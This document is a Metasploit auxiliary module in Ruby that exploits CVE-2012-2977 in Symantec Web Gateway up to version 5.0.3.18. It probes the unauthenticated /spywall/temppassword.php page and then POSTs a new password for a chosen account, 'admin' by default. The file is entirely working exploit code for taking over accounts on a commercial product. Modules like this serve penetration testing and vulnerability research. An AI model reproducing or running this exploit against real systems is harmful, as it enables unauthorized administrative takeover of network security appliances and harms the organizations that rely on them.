##
# @_Kc57
# Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change",
   'Description'    => %q{
     This module will change the password for the specified account on a Symantec Web Gatewaye server.
   },
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 0 $",
   'Author'         =>
    [
     'Kc57',
    ],
   'References'     =>
    [
     [ 'CVE', '2012-2977' ],
     [ 'OSVDB', '0' ],
     [ 'BID', '54430' ],
     [ 'URL', 'http://www.securityfocus.com/bid/54430' ],
    ],
   'DisclosureDate' => "Jul 23 2012" ))

   register_options(
    [
     Opt::RPORT(80),
     OptString.new('USER', [ true, 'The password to reset to', 'admin']),
     OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])
    ], self.class)
 end

 def run

  print_status("Attempting to connect to https://#{rhost}/spywall/temppassword.php to reset password")
  res = send_request_raw(
  {
   'method'  => 'POST',
   'uri'     => '/spywall/temppassword.php',
  }, 25)

  #check to see if we get HTTP OK
  if (res.code == 200)
   print_status("Okay, Got an HTTP 200 (okay) code. Checking if exploitable")
  else
   print_error("Did not get HTTP 200, URL was not found. Exiting!")
   return
  end

  #Check to if the temppassword.php page loads or if we are redirected to the login page
  if (res.body.match(/Please Select a New Password/i))
   print_status("Server is vulnerable!")
  else
   print_error("Target doesn't seem to be vulnerable!")
   return
  end

  print_status("Attempting to exploit password change vulnerability on #{rhost}")
  print_status("Attempting to reset #{datastore['USER']} password to #{datastore['PASSWORD']}")

  data  = 'target=executive_summary.php'
  data << '&USERNAME=' + datastore['USER']
  data << '&password=' + datastore['PASSWORD']
  data << '&password2=' + datastore['PASSWORD']
  data << '&Save=Save'

  res = send_request_cgi(
  {
   'method'  => 'POST',
   'uri'     => '/spywall/temppassword.php',
   'data'    => data,
  }, 25)

  if res.code == 200
   if (res.body.match(/Thank you/i))
    print_status("Password reset was successful!\n")
   else
    print_error("Password reset failed! User '#{datastore['USER']}' may not exist.\n")
   end
  else
   print_error("Password reset failed!")
  end
 end

end